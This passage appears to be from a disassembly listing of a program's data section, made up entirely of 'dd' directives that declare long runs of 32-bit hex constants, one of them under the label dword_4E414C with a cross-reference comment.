		dd 0C1CD6906h, 0D5B4049Ah, 0B0A656D9h, 58A02584h, 9670CF68h
		dd 309A7E26h, 23D95102h, 0FA46470h, 0EC442B98h,	9858182Bh
		dd 18FA8B2Ch, 0E72F3167h, 0A4E168F4h, 11822F4Fh, 0B29C7F30h
		dd 4320946Eh, 37420062h, 9C5CABE8h, 6B671BD9h, 79BD50h
		dd 8CA79EBFh, 2366034Ch, 850ED984h, 8C722026h, 8EBA430Bh
		dd 0A0FD6BDCh, 38FA1088h, 689214FFh, 0DA1FE35Dh, 0B5080188h
		dd 85344C4Dh, 0F36F663Ch, 7439888Ch, 8C571C6Ah,	36DF094Fh
		dd 58E28C0Fh, 6C05E07Ch, 9CECA480h, 0B6ACB068h,	208E4670h
		dd 0B18F3Ch, 7042F8D0h,	0BBE753A9h, 1130920h, 75E69022h
		dd 48594C4Ah, 4DCD0C84h
		dd 0D9C47C90h, 59596126h, 0DCEC5DBAh, 6B09EDE8h, 85033676h
		dd 24D06C88h, 3CF3748h,	0C82FB18Eh, 0E461EC13h,	0F658AFFAh
		dd 7F116022h, 7F184968h, 0E004702Ah, 28187BF2h,	3B983F65h
		dd 0D80C16EFh, 78F84018h, 0F7D758D4h, 70074100h, 688E4284h
		dd 54DF09CEh, 0BC8EF862h, 269E1290h, 0D1E49431h, 0E43D900h
		dd 71C7680Ah, 9041DCCBh, 0B3F11382h, 4A63309Ch,	6548E3Fh
		dd 581C8B5Fh, 1AC27E9h,	0BCBF5854h, 68C8F4A0h, 4C1B0074h
		dd 0CF3F689h, 0C0B25072h, 28E9B0B0h, 407B3078h,	0C0E7E314h
		dd 587DE23Ch, 6FF0438Dh, 0E9D5E3Dh, 0E9EDD10h, 98F46BB3h
		dd 9A4F1910h, 9C7D00ACh, 4601EFB8h, 0D9273F1Ah,	44BCC182h
		dd 40D8137Eh, 60A06B30h, 0F327D96Dh, 0A3E0197Ah, 0C28405C0h
		dd 9E1BEF60h, 0AC28C859h, 6CF100EDh, 81E22E08h,	0B22864C8h
		dd 48F85840h, 913918A4h, 30630D41h, 19E91C2Bh, 680AB128h
		dd 0B8DB71D1h, 4481E842h, 0E36E24D8h, 50D14680h, 5E704890h
		dd 48E55880h, 0F2C07CE2h, 0B27F61C3h, 33B860E4h, 9D600D79h
		dd 0C2122490h, 0A8CE0356h, 5D67F8D6h, 864A58A0h, 0A9596490h
		dd 81FC9F84h, 0A6CF3D1h, 7051853Eh, 0D0C3232Ah,	28DB68D4h
		dd 5C08027Bh, 7970700Ah, 72C4A211h, 33404E14h, 14E17CECh
		dd 5C9AC0D1h, 5C8128D2h, 345054B3h, 0C0E13B0Ch,	0AEFAD30h
		dd 5F0CB7D8h, 2060BFD9h, 412901EDh, 70BCB1C6h, 0D8002FECh
		dd 8EFFB4F8h, 80560FB5h, 8720ED62h, 610A41F2h, 0AC2430B8h
		dd 53167010h, 0EC240816h, 6A3B1CD0h, 202B73F8h,	58184209h
		dd 2591DDC2h, 6B69802Dh, 0A4BBC78h, 4C5168ECh, 599C0DE8h
		dd 4E01F458h, 709F15CFh, 59038AFh, 38CB4213h, 1BDAE0C0h
		dd 7DA2141Ch, 4686E866h, 41012809h, 808F36B0h, 66F0B89Fh
		dd 11C92CAh, 879CAD10h,	70337C48h, 62022A38h, 4FFFEC6Eh
		dd 3AA48242h, 70BCC03Fh, 0B4F34DF2h, 0AA001D58h, 0BCE91CC0h
		dd 2C48756Bh, 4809D750h, 3EC80258h, 0A46700ACh,	0EB24B62Bh
		dd 8506587Fh, 0A8487B68h, 0DF8351F8h, 0FBCB0041h, 388170E1h
		dd 0F4BCC1CAh, 5743FF41h, 702F9889h, 0A02B7C82h, 0E069F449h
		dd 20B94062h, 2096D89h,	50D6CA34h, 762828CAh, 0EF826B4h
		dd 22848894h, 61F0700Bh, 0F0AE3B08h, 0A1D70D74h, 13D82710h
		dd 0E3022E6Ch, 5B24830Ch, 2400A9E0h, 0AEB48B20h, 446DC0B1h
		dd 0AA6844C8h, 252C000Bh, 0C44D9B5Ch, 4EE7858h,	80DC6361h
		dd 60CF0051h, 0C4139CBh, 11E250DAh, 12BDD939h, 0B835D71Ah
		dd 0F32A8C88h, 0AFBB1800h, 0C9C3BC94h, 0CEC1218Ah, 5FCDD906h
		dd 6A0C12E9h, 9412FA65h, 32FFBC8Ch, 0E130CF64h,	6A4D9459h
		dd 32FE1080h, 0D31B414Ch, 6B4AF000h, 7E863DAAh,	13B078Ah
		dd 40E7269Fh, 19709129h, 6A072896h, 0E83E36F5h,	208428A6h
		dd 0C62AE593h, 7012C8A4h, 84534B9Dh, 1C0A5C00h,	90D27D5Ah
		dd 0C680A188h, 3B604315h, 0EA38CBD9h, 0B05FCEC0h, 0F27AA2C0h
		dd 14197DE1h, 86A6913h,	8614652Eh, 30B2E5D9h, 0A0B9A42Bh
		dd 8B54812Dh, 9D4E22Ch,	348000C4h, 0B9D82F90h, 0A10FBD6Bh
		dd 13323D4Bh, 30FF9C04h, 0EA1EECC0h, 0FB861E31h, 0C04BD734h
		dd 60FE3978h, 0D4A33891h, 6422400Bh, 580D1960h,	30B71011h
		dd 0B1FE070h, 0E09505Eh, 0C208C5Dh, 95470161h, 0E8A37630h
		dd 0FC3C21BDh, 88161748h, 18249362h, 0DE21F8C1h, 58D2B302h
		dd 0B19D20C0h, 13F9E1A8h, 0C069E3FFh, 0D5D0CDECh, 0CC1FE04h
		dd 0A490E71Ch, 0B06BE4h, 74F7469Ch, 0CDB3AC16h,	672770F6h
		dd 0C11893FCh, 10B9EDC8h, 2BB7A9BCh, 9FA4D0h, 74BCA369h
		dd 8781021Dh, 896A186Ch, 587DEC50h, 7368AC65h, 94D14C84h
		dd 0F408863Fh, 0BD6A1704h, 0CB4E758h, 976C3CEFh, 60034054h
		dd 581108Eh, 0D700E8DEh, 745C6F5Ah, 91574413h, 6C4B00E8h
		dd 1FC15026h, 0E8CB252h, 5A01C7Bh, 0B8A20E92h, 3F812F70h
		dd 0FBC020A0h, 75806B9Fh, 13A9141Bh, 1707C0EBh,	23D66E8h
		dd 0B0696304h, 68E8F3C1h, 0CAF67BC5h, 0DC18B109h, 0AE64010Ah
		dd 0D9F2DF10h, 7FE20540h, 0A238E0F8h, 0CBA0DA54h, 58B37D40h
		dd 0D8243C32h, 884B1314h, 40B50E40h, 25AD5364h,	0E08B6566h
		dd 259EA4C0h, 39019079h, 13C60E8Ah, 0C321605h, 68A55C05h
		dd 0CB658051h, 9678EC3Eh, 58841899h, 7058A39Bh,	0F6009488h
		dd 0FFB52B4Eh, 6F50F890h, 0E76010E1h, 0D36F68CEh, 720D98C2h
		dd 0AA58405Bh, 207C984Ah, 0AD002D9Ah, 8449ECA6h, 0FF4193h
		dd 7E882BC7h, 0A5675AD8h, 1EE55007h, 151D695h, 7E320Dh
		dd 0C153EB60h, 680EE872h, 89BB47C8h, 1BA4843Bh,	13833870h
		dd 3C7F7A24h, 9FBCCD85h, 5184B4A4h, 0C4C09016h,	5ED4A049h
		dd 66137E73h, 29E530E0h, 0A470853Fh, 0EC02287Bh, 66A468A0h
		dd 0E46E20A4h, 0B8609D30h, 0AA3C064Dh, 0FF3068A4h, 240549DAh
		dd 4ACCD28h, 63501FC4h,	0E8CC818Dh, 52AE00FEh, 691B1739h
		dd 0B78CC8A2h, 0E70224B1h, 0F62AD972h, 0B2AB00CCh, 0C90D0339h
		dd 24C9B34Ah, 243433E1h, 38700BAFh, 5838E7A1h, 0C2123651h
		dd 7842DFAAh, 4A0CD6FFh, 0CAEC4254h, 19808374h,	0E88800B8h
		dd 0E9D594CFh, 16707526h, 7638ED03h, 0CB13CA30h, 6D8106EBh
		dd 0A19BC4D9h, 0A8F774E0h, 4178040h, 5C043286h,	5C858BD8h
		dd 347050C8h, 81A9CCB0h, 3537638Ch, 0CCD00490h,	0D1608FA4h
		dd 8C783150h, 22F85B5Ch, 0A8546F10h, 27E4E08h, 7A70A232h
dword_4E414C	dd 198AD8DCh, 0E669DC69h, 0F0D8E0ACh, 4BE9C1F6h, 2BA6ACh
					; DATA XREF: ___:off_43A870o
		dd 5466CA4h, 139549Dh, 8400BEADh, 96DD3E47h, 5D3F0B2h
		dd 66C4AED4h, 0D3CF0A1h, 6000755Ah, 0AC86967Ch,	94EF1D7Dh
		dd 0E48E2D3Bh, 88D00306h, 13C82906h, 3A305309h,	0AD09CD57h
		dd 4509407Dh, 0CEE3C80h, 20D6EA06h, 71C9A805h, 41CAB4F0h
		dd 0C6D401ACh, 82C19E10h, 11A69580h, 50E228F5h,	67508DAh
		dd 35B03E29h, 0EB3E28FCh, 9E5801EEh, 4D9D7D8h, 743C093Eh
		dd 8857A018h, 4C852896h, 68B3411Eh, 8521A452h, 5695D70Fh
		dd 0AAEE4D0h, 0F43395ACh, 0CFE7C3A0h, 83C41425h, 9CEA0DFCh
		dd 1DA04CA8h, 502A1D5h,	240AC6ECh, 5E24905Ah, 0D75CF7h
		dd 88000520h, 53049231h, 10412C4Dh, 0FA4A2D9h, 0E2106Eh
		dd 576B9284h, 4969E035h, 0E504F83Bh, 0A4430B13h, 0B227D9C0h
		dd 65742472h, 796B21h, 0F0CBB40h, 94CBF2EFh, 7C20218Bh
		dd 0DDFE1441h, 60895F03h, 9D0D6ABEh, 0B1046CFCh, 0A9E7D93Fh
		dd 5211008Ch, 5BECDA89h, 21F50462h, 0C9423B3Ah,	0C002418h
		dd 40499230h, 0BF6E27h,	0FDF62474h, 0DDE897F8h,	2CBAB716h
		dd 92B4D004h, 4BADB547h, 780018E4h, 45B0B339h, 0BAB29CFh
		dd 7413EB5Eh, 99848024h, 12B020C8h, 52A0B780h, 0B02AC4C2h
		dd 37B03D4h, 0A22CD965h, 0B42BC928h, 75EC20h, 0DDE9B8C2h
		dd 0BF6C2881h, 0FCDE0C12h, 0D9C7D042h, 0F238501Dh, 8951397Dh
		dd 7970A405h, 87AC0077h, 490CC5B2h, 0B00BC90h, 0E8C6F51Fh
		dd 707D2EDFh, 6459FCCFh, 90BA5008h, 9C70AD38h, 0A820404Eh
		dd 0B28B54h, 0FF46D7BBh, 39E3D23Ah, 5F6A6800h, 0C16186A0h
		dd 8801261Ch, 0BE0B9324h, 0BDE0D019h, 589929F0h, 0BE002B37h
		dd 0F3E9794Dh, 691F55C2h, 0A800D450h, 7C91482Bh, 11D1219h
		dd 58BC4E07h, 91B9F525h, 6C83CB90h, 94214E64h, 0ED004C7Ch
		dd 850F4FA5h, 8580D2F8h, 64CD92BBh, 207C52FEh, 5E6145DAh
		dd 0BB41EFC8h, 6DE16861h, 4DF03061h, 767F814h, 656F6090h
		dd 5468B90Dh, 50F204Eh,	8553A9A1h, 68982CE5h, 0D27010B1h
		dd 8DF100C7h, 5C03F02Ah, 0E0384AB0h, 68014000h,	0C2A5269Fh
		dd 0A070E99Dh, 0ADF31EE0h, 0B516B811h, 0D1B041B0h, 68C9C896h
		dd 174A078h, 8D313AC7h,	5CD98E00h, 25C18FB5h, 8A6AF28h
		dd 86FE1903h, 841870h, 8C134190h, 0AF991BE5h, 712D307Ah
		dd 0D10491F3h, 0A7545BCEh, 86D2482h, 7E76B440h,	0B87C9E81h
		dd 6402A8E7h, 0C2217F9Fh, 9DC52FCh, 590570BAh, 0CF128465h
		dd 76878B0h, 441BEFE8h,	98EC1361h, 0E8D5D181h, 0F49EA0FFh
		dd 94A3A540h, 0D93B0940h, 0F049B76Bh, 0F8096A6Ch, 18D45A34h
		dd 6965BFD9h, 1CBAEF39h, 0D649577Ch, 64F801ACh,	0E89EA7DEh
		dd 550DAC70h, 74FCE85Fh, 7AA003Fh, 98114157h, 4D0226AEh
		dd 0C1D970E8h, 814CEB91h, 0CC3094D6h, 76D23DE7h, 139EC983h
		dd 48397B58h, 4081CA0Dh, 2F6870h, 0D42C6428h, 28C9A483h
		dd 0FF20307Dh, 349A6Ah,	1D6345A6h, 0ECB4152Ah, 0F8FBAF01h
		dd 34CD1BBFh, 0C0AAA3C0h, 74796578h, 38006018h,	9251B0AEh
		dd 26A16737h, 7F4CC4h, 705C1340h, 89EC5EEh, 54232C80h
		dd 98A1E848h, 111D6EB0h, 1083F05h, 1C3951C8h, 93CC3869h
		dd 7F5D248Ch, 0BA24A93h, 0B0447B80h, 0F8190898h, 60208B5Dh
		dd 0BD8060FAh, 41C89CADh, 213ABBABh, 20204DBCh,	80CDAACCh
		dd 1C4071C6h, 5B1570B2h, 6100E5F0h, 1B505C6Ch, 5AA45E82h
		dd 916CF071h, 0E20A126Dh, 3A83283h, 2410608Bh, 0B0A09BC9h
		dd 0E0C7715Eh, 94D0F890h, 83D9E8h, 6D0258CFh, 3393A36h
		dd 0E9EF8709h, 0C0542B7Fh, 82964D9Ch, 0A5B8D056h, 3294C742h
		dd 0E8C15E18h, 0DA88B62h, 0D2DC16B2h, 39D4C149h, 0A8062A85h
		dd 7720D42Bh, 26EE01A8h, 788DB86Bh, 24E07382h, 741CEDCAh
		dd 0C6CCE580h, 4A5A7FB8h, 60E4C9BEh, 2917C025h,	54ECC201h
		dd 8FECED09h, 0D1698D8h, 84420412h, 11F62599h, 2C43250h
		dd 0E0137668h, 4B005644h, 5163A002h, 12AF6604h,	2684A504h
		dd 0B8674E68h, 39029354h, 18F96915h, 0EC0D4305h, 0BA10E0B4h
		dd 80A48C5Ch, 2630A0BCh, 1388E26Ah, 0D0CB031h, 44DCD727h
		dd 7DE10630h, 78655E3Fh, 6A60C4A0h, 25262098h, 29872468h
		dd 727096D3h, 5C58F8Ch,	6A0B4193h, 0E87180D8h, 0D276BB9h
		dd 7D188448h, 7F0AA8E8h, 0A8ACB6EEh, 4E19F03Ch,	60742144h
		dd 9CC869C1h, 0E10EE0EAh, 0E0F79883h, 5C2A754Ch, 2F8E7AAEh
		dd 74004470h, 65C6C9F0h, 0B007471h, 161240ECh, 0C748306Ah
		dd 0B90E4320h, 0D91E60C5h, 0A7704058h, 166D0368h, 41DFFC53h
		dd 0D495EB81h, 7706E08Eh, 28040D66h, 0D4B25498h, 20009262h
		dd 615E7D44h, 0ECE0E484h, 91B5F2Dh, 14F3E34Ch, 17B8B703h
		dd 0F89082B6h, 7518C0A4h, 4E1B83C3h, 24030CBh, 493A2AC8h
		dd 94112F98h, 826AD844h, 6B105E61h, 0DDE021F8h,	1C4180CCh
		dd 0E532110Eh, 62BD0989h, 60387484h, 276F51ABh,	5EED7B0Eh
		dd 2C2980EAh, 0F76B5Ch,	0A8B082E8h, 9B54493h, 2ACF6516h
		dd 0D6BB9C00h, 0E411044Eh, 0EC872701h, 0CB294CE8h, 6B99E80h
		dd 0D03DFE99h, 4600887Dh, 285E034Fh, 3BA8C2C3h,	0C6859D54h
		dd 0D2FC70CCh, 14D068A0h, 1375D914h, 6A9C1298h,	0D4E45C13h
		dd 0A4B540B3h, 5076FAF5h, 30F400ADh, 3573D1h, 0FDBE130Ch
		dd 7EDA0B36h, 0F490F200h, 47C199C7h, 2FFB48B8h,	7381083Bh
		dd 2CE9E780h, 0B288EA7h, 0F31A8738h, 7B82A341h,	2EEEFEE0h
		dd 6D945h, 72F51F8Fh, 563C2E4Eh, 0EAF70337h, 0F2831E9h
		dd 3BD9A740h, 156716E1h, 807FC7FDh, 80DF2E3Bh, 24B9B0E7h
		dd 1F1F90B8h, 4050F19Ah, 59A619F5h, 0B00D692h, 878098C6h
		dd 3E6AA769h, 0B007867Ah, 0C001F1A2h, 0F6EFDA0Fh, 98000E98h
		dd 0ACBE0B4Fh, 0C1F89DE9h, 5ADE8A80h, 0D08EF99Eh, 6D1C5734h
		dd 580E0DCh, 62E4A9B5h,	0A4E30155h, 4A7807B1h, 0A7DDE098h
		dd 79157C0Ch, 616CB0C0h, 0B56A4896h, 98588F8Ah,	98860FD6h
		dd 0F3E0E908h, 0EE3A1883h, 0E90C7F14h, 80868A94h, 288D6202h
		dd 0AB003D77h, 1EF8F374h, 2B1E038h, 0C91C190Fh,	0D07715C0h
		dd 15545B06h, 3E48172Ch, 3C782A49h, 7C3302E5h, 8EC126F0h
		dd 50209438h, 0F2961FF0h, 840031F4h, 0F1DEE3CEh, 94D850FAh
		dd 0A98C0098h, 0ED2B0859h, 0A43A7974h, 0E2551F09h, 0CC50B500h
		dd 0C3490D38h, 0F8C36F90h, 0E97E3806h, 80F90A6Ah, 70E088A4h
		dd 67CA0101h, 3810F54Ah, 3800F778h, 1F413B59h, 14F1B2DAh
		dd 8136006h, 62FEF301h,	80ACB015h, 421A3A58h, 0F40C9DCDh
		dd 17EF01C4h, 14F03889h, 8E70808Bh, 0DCE979F6h,	0A681C84Bh
		dd 6E99381Fh, 0AEF47B70h, 528905EBh, 0AB6FED6h,	0D8F8B8h
		dd 1608385Eh, 600002F2h, 6F0ECA0Bh, 0E908F93h, 32665DFFh
		dd 882215A7h, 3DE8100h,	0FC084A41h, 0A80A3E56h,	0B7068C58h
		dd 816C86FDh, 72C42705h, 9000C920h, 9EBCEF5h, 0D1E924A7h
		dd 0F1E0829Ch, 0D881E387h, 50B07495h, 40BEFBCCh, 8B8AF900h
		dd 563EF18Eh, 0D6764Ah,	27D17A1Eh, 0A5D79666h, 0EFF0E4A6h
		dd 0F411E068h, 3ECCDE95h, 7A571499h, 62E91D20h,	2B018170h
		dd 614B00B4h, 0F1902007h, 4C008332h, 4AE9FDD6h,	919FB1h
		dd 0A57F18F8h, 49A961EBh, 0C5702C00h, 5917A2C1h, 743814B1h
		dd 0DB3FB44Eh, 5FA7D680h, 0AE96F53Ah, 4B775A07h, 26F955DDh
		dd 0DE107184h, 2BF14480h
		dd 0A03C9072h, 0E9E409E0h, 20A38730h, 50AACF79h, 1EFB3Bh
		dd 3EAB2A71h, 0DBF10BE2h, 0F73889F7h, 0F5EC04DEh, 125F7881h
		dd 0F04098D5h, 0C1467CE9h, 2FF1A448h, 7309C4Eh,	0DE100C64h
		dd 9C3D5900h, 0E9886A86h, 30C10C7Ch, 584EF1D9h,	8A78F806h
		dd 0D4EBD528h, 595A3ADDh, 88B023E0h, 38FC8198h,	201B9C33h
		dd 4BC1607Ah, 6A3C20C6h, 0CB38D60Ch, 0CD91854h,	8CFDF02Bh
		dd 4D130230h, 49F65Ah, 53000E4Fh, 8334C410h, 70B064E9h
		dd 0C8A8D030h, 0D5296530h, 0AD747366h, 28C4A948h, 547E648Ch
		dd 6CEC880h, 0B214DCF7h, 4A48503Fh, 0FC15081Ch,	337701A9h
		dd 45D6F5DDh, 0B1801A4h, 4035FD65h, 6EC386Ch, 0F428B0DEh
		dd 9421A145h, 0E47D7801h, 0E1A3B841h, 0A6F6288Ah, 9B003DD0h
		dd 0F2AF2842h, 172C590Ah, 0AC098E77h, 0FD9A80FBh, 0C185E3h
		dd 0C810F47Eh, 0DF4D779Eh, 12F1A0A8h, 0A8606660h, 20F82949h
		dd 400EE401h, 90D1ABh, 112024FBh, 0CDEECCh, 7665DF91h
		dd 27123AAEh, 10032800h, 3249A61Dh, 0D02C30F8h,	5FFBB650h
		dd 0D1A5AC00h, 1077013h, 8D903D0Ch, 3951D500h, 0B8E43A99h
		dd 35F1E97Eh, 0E5FCE0E0h, 348A7013h, 0F0D3D004h, 3FAB6D00h
		dd 64EC982Dh, 0EE40DC98h, 6AA52672h, 0F020A804h, 10D96886h
		dd 0FD67E1B8h, 53D90837h, 0E703AC1Ch, 3070F1A1h, 0E0FC1045h
		dd 10C2D1D9h, 68EE9396h, 2CBEE300h, 20989FAAh, 88AD4C20h
		dd 28BF710h, 90D66257h,	0F0108A1Eh, 5959E2BDh, 203C4612h
		dd 480069DBh, 0D6719B96h, 9A03051h, 0CFAE33Ah, 28109C80h
		dd 0CA4C5B63h, 0AB7B0058h, 7ABEBBF3h, 68E3484Fh, 92E82B8Dh
		dd 0C020BF88h, 0ED2B13Eh, 0F828F172h, 2418E0E9h, 0F01A0BD9h
		dd 11809475h, 9443FB68h, 98C8708Fh, 68A761B8h, 35D12315h
		dd 0B8B842D4h, 6B0B106h, 0CF1569A4h, 6A1320F4h,	60008E08h
		dd 0D9C470A1h, 7A4B17E7h, 40860071h, 28E00317h,	59C99F00h
		dd 0B4BCFA10h, 94764980h, 30F16C50h, 0A7905549h, 71303887h
		dd 0C5697091h, 941605EFh, 0C2303159h, 6AC0E964h, 0B4986F33h
		dd 0BE8E883Fh, 0A2090398h, 0E1CB9F5Ch, 408EF919h, 38647DBAh
		dd 4220954Fh, 76D8B7B4h, 0AEDEF101h, 1A2D9C34h,	18C02338h
		dd 4A0DC32h, 61F86AA9h,	0CC90B0EEh, 20A00D31h, 0A3D4F0FDh
		dd 28695C3Fh, 0CFC2A800h, 3B3915ADh, 0A0F34A80h, 813DB0A8h
		dd 0EA4C31F2h, 0FCA0B46Ah, 419CA16Eh, 0BD0660E8h, 6929F1B4h
		dd 384D3860h, 319AC93h,	4E169018h, 0EEFD5008h, 8294A60Bh
		dd 3B602E49h, 4E715C82h, 535010C4h, 0EC99A3F0h,	6A06942Ch
		dd 98419125h, 0BBE91830h, 0B696107Bh, 682A38B1h, 0D46828F9h
		dd 0AD8303A8h, 0C696B65Dh, 40E97B71h, 0E37B10F4h, 0CB60389Ah
		dd 4881AC91h, 0E66376E7h, 0DC244CC3h, 44014220h, 0BD7AAFDFh
		dd 90501689h, 0A13371A1h, 38715160h, 3FAAF300h,	0D271F7h
		dd 0B117906Dh, 0BB8ADABDh, 15067494h, 0A290E959h, 7EC4EC98h
		dd 7C09ECCEh, 90A650F9h, 86490053h, 9E1F5836h, 1418FA3Ah
		dd 9430A3F6h, 89DB26DCh, 52570928h, 84E6F43Ah, 0A7BE1B00h
		dd 156E2A49h, 0C0F154B8h, 5240864Ch, 12F50C6Ah,	0F119DE0Ch
		dd 0C0F90726h, 5C6C5C1Dh, 20B71B44h, 0EE153C44h, 8048BAABh
		dd 1C5FFC4h, 4FD41B5h, 0DCCF9D43h, 1418FB3Ah, 0A0288F1Dh
		dd 4CECB890h, 40DD9CF2h, 55567120h, 0B359B215h,	0DF4C045Ch
		dd 0FC925F96h, 3B5C4849h, 0B22780EFh, 0AA5A1000h, 173E6625h
		dd 0CB6F000Dh, 35CF8F20h, 591E26FBh, 3FBC3Bh, 0BD36727Eh
		dd 7A62056h, 5DFB2BC4h,	0E4A20BF8h, 706071B3h, 0D76AE1BAh
		dd 840AFE38h, 0E602CC8Fh, 60B16CF7h, 1DD4018h, 21F1B3C5h
		dd 898217F8h, 8499AA40h, 2814E614h, 197C763Ch, 0B0041E14h
		dd 6A94746Bh, 24BB5D20h, 594DE98h, 0AF5642Fh, 6EAC1DA5h
		dd 7702A508h, 0AFF7DD37h, 1F7586F0h, 0BAF30118h, 0A76CE1A6h
		dd 63C030A2h, 17BDF814h, 0D9510EE0h, 80821238h,	96F8838Eh
		dd 1A8012BEh, 81D4304Eh, 8B90E997h, 0AE69A800h,	3D51274Ah
		dd 6ADD0699h, 70AF5315h, 0A04B7201h, 0DE961756h, 6901F877h
		dd 0FD8F39C9h, 0BC54F013h, 0A7EA1518h, 26989D38h, 30ACF2CDh
		dd 0DC38ECE8h, 751C6D40h, 198EF83Bh, 309C9915h,	0A2F4424Bh
		dd 7F027850h, 15DEEB65h, 0E468EB6Bh, 0D1964880h, 0EB11CFC9h
		dd 0B34A802h, 4E17F80Ah, 57A1BC02h, 0C0944E6Ah,	0B78F5228h
		dd 0F3015069h, 0F859FB79h, 0A8649C93h, 63300049h, 27DFE140h
		dd 0ECF37170h, 0E0F496CFh, 84E0D26h, 0F25A151Ch, 3CC06070h
		dd 1B51807Ch, 0C974784Ch, 8A80855Fh, 389EB401h,	1C74617Fh
		dd 0AAD1407Ch, 28D8435Ch, 0DE26F0FBh, 67004C9Fh, 19E49144h
		dd 90F70015h, 6A7D0A11h, 3300A743h, 7A7F5B3Dh, 0C1445D38h
		dd 7B095A50h, 2097D9FFh, 95401944h, 1291FC59h, 40BB94C4h
		dd 6C6292D0h, 0C00FDA0h, 34A42A67h, 739FC310h, 4CBCA24Bh
		dd 8818B3D4h, 970A8FD2h, 3806B09Eh, 728E7A9h, 0AA9BBC08h
		dd 313D9676h, 0ED8C42F9h, 0FCFD6200h, 0F05017DDh, 0ADAC08D0h
		dd 7412D913h, 834F94C2h, 0D0E93DE4h, 0E6693689h, 0B4949161h
		dd 4C34CAA0h, 0A5860414h, 0E490A9F1h, 6287C51h,	0A1E9CB1Fh
		dd 0A49029ACh, 86CC1B22h, 901DE2C8h, 25583C90h,	2CC3D801h
		dd 0D0C260FAh, 13004078h, 59DACD7Ah, 273215h, 57D82143h
		dd 0DFD67256h, 881E5113h, 34C06874h, 1CBEEA08h,	4507D127h
		dd 0C075F750h, 0D3586040h, 23C3E300h, 8BF1E08Fh, 0A5D4B9CFh
		dd 0CC14B429h, 0CF3E5F3Ch, 0E8E96803h, 0F71806AAh, 0C88197E2h
		dd 0AEDC0E41h, 2F8931E9h, 84A54620h, 0FC14F141h, 9A970CC1h
		dd 65E0CCE1h, 9C88A02Eh, 0C358C090h, 0E99285EAh, 0F4212626h
		dd 9C10CB80h, 0F531C4h,	0C66AA2F9h, 9E45C8D2h, 64C0E926h
		dd 0AB0020A4h, 2A51554Ah, 48DC2CF0h, 3D9CAECCh,	8EEA8901h
		dd 679838h, 641C59h, 719DF0D5h,	552BE24Dh, 2EB8361Eh, 4026EE8Ch
		dd 7894A0A5h, 905764Dh,	0B2F86025h, 0C13FACC0h,	59E8AA12h
		dd 7C37D000h, 1C3F0D2h,	4047811Fh, 31E77941h, 0DB44EC82h
		dd 0EA1E0492h, 298C85A3h, 7C748866h, 344C48A4h,	2CD0EF26h
		dd 52154134h, 4D9C648Eh, 705A779h, 9F27E008h, 85F88C10h
		dd 2CC1BEF7h, 9803DBF8h, 7AD083B3h, 7400A26Ch, 0E0EB6EFDh
		dd 0CA99D8Fh, 0DD6B2D9h, 786B618h, 0E7399869h, 0D3EC4EBAh
		dd 0BF34E940h, 0CD9B871h, 8AC9DC28h, 4B3878E0h,	9500889Eh
		dd 0FC3A1407h, 4C9490FAh, 45008051h, 189FB626h,	4E4C29B1h
		dd 6C1508A0h, 8C26C0h, 6917FE4Ch, 9CB222C3h, 0FD41301h
		dd 858914E5h, 44348450h, 0BA58265Ch, 3C2227ACh,	18644687h
		dd 9E21D913h, 0C8A1C4C2h, 80D244D8h, 14A84588h,	649C9F2Bh
		dd 66067511h, 20456438h, 86090700h, 0E9BBA5F6h,	98CC5906h
		dd 0A0C571C4h, 25161548h, 9481D962h, 38283760h,	63404A88h
		dd 0D2341215h, 0BD00118h, 70FE7B99h, 180038C0h,	28F1C5F4h
		dd 0A631FD66h, 74D644B0h, 2E687140h, 9F643715h,	58A3089Ah
		dd 601F5A16h, 72771901h, 0E1C4FD40h, 36DA00E4h,	7E97F3A0h
		dd 52E80B1Ah, 91A9E225h, 98107CD4h, 4774036Ah, 0AD1570B2h
		dd 20A07E87h, 4F7709A5h, 0C06BAEDDh, 0C053803Ch, 489851h
		dd 0AF6FF4B7h, 0E9FD61B0h, 0F803550Eh, 0A51840CCh, 3CBE429Bh
		dd 59810B82h, 44FFC717h, 94944068h, 0B100E77Dh,	909203D9h
		dd 6A4C5F7h
		dd 40156B5Dh, 1005F1C4h, 166314DCh, 1E3D492h, 289EFE6Ah
		dd 4451C5DCh, 0D162E0A2h, 0A07918F5h, 0B38FB82h, 4C290B53h
		dd 0A4A66C05h, 8E3FFE60h, 0A7D9477h, 385A31D1h,	35F99FDDh
		dd 1E4CE1CEh, 0D1E84000h, 0F881C701h, 0A5CA5A6Eh, 9612C823h
		dd 447450C5h, 4228DDB4h, 8806A5Ch, 85A7F1A4h, 187BEC9Ah
		dd 0D23A1B00h, 0A3154E5Dh, 9E28C186h, 39360312h, 4084820h
		dd 0C6F01751h, 0CD8FE0D0h, 36A200D7h, 7D889868h, 0F026FDEBh
		dd 44008476h, 7278FF4Fh, 153E1F3Dh, 0F813AD56h,	0B447C1h
		dd 0B295D86Ah, 0F9426ACh, 0B20D00F8h, 0FE133B72h, 0DC961603h
		dd 0D82B7131h, 906B8215h, 0D68918Ch, 6DB102D5h,	2897105Ch
		dd 71865A78h, 0A151D0E0h, 154798F8h, 9F079C84h,	0DD1401FFh
		dd 4C21051Bh, 0BC7892A0h, 0ADAF1238h, 80829425h, 0FF678C4h
		dd 0B445F581h, 9014D4B3h, 0AC043419h, 9266F4E9h, 0E0416E08h
		dd 0F34F01B2h, 896482Dh, 6D0FE584h, 18294C15h, 930FC86h
		dd 0E1FFD2CDh, 0A41B5402h, 0B0A12466h, 92702026h, 0B8434B81h
		dd 563089A2h, 18C4AC6Ch, 0EB48004Ah, 18C608B3h,	0A8AD46F1h
		dd 89F6A64Bh, 5AD64A24h, 9F41642Ch, 0DAD2BAF3h,	86A725B0h
		dd 0D293A885h, 6089CC1Ch, 3A24C046h, 0D444C4Eh,	0E4A0A949h
		dd 264C6967h, 5038AE8h,	8BF58925h, 0B303AB75h, 1087E65h
		dd 69D7F759h, 0C6013DCDh, 5DF11684h, 0FC1CEAC7h, 14580E0Eh
		dd 79F5180Ah, 0F23D3230h, 5D06C334h, 40060A67h,	0DE13EA9Dh
		dd 9CF89D36h, 0EEC7823Eh, 0C0584532h, 31EA0602h, 50000B25h
		dd 0CDB71067h, 7DBABCC7h, 3B285CF3h, 6E185E1Eh,	2EAE0C54h
		dd 0E55BA701h, 0ED82582Ch, 358A2740h, 52560625h, 2F7DA6EAh
		dd 79D9323Dh, 5DC9CC63h, 88B01C8Ah, 0D4F8CF1Dh,	2E6DA9C6h
		dd 0CE025F00h, 4C70EE82h, 307F7E32h, 0C21C2BBAh, 6C007E8h
		dd 0BF88208h, 21E2060Dh, 5AEC4EEAh, 0DC065F01h,	5C30BD35h
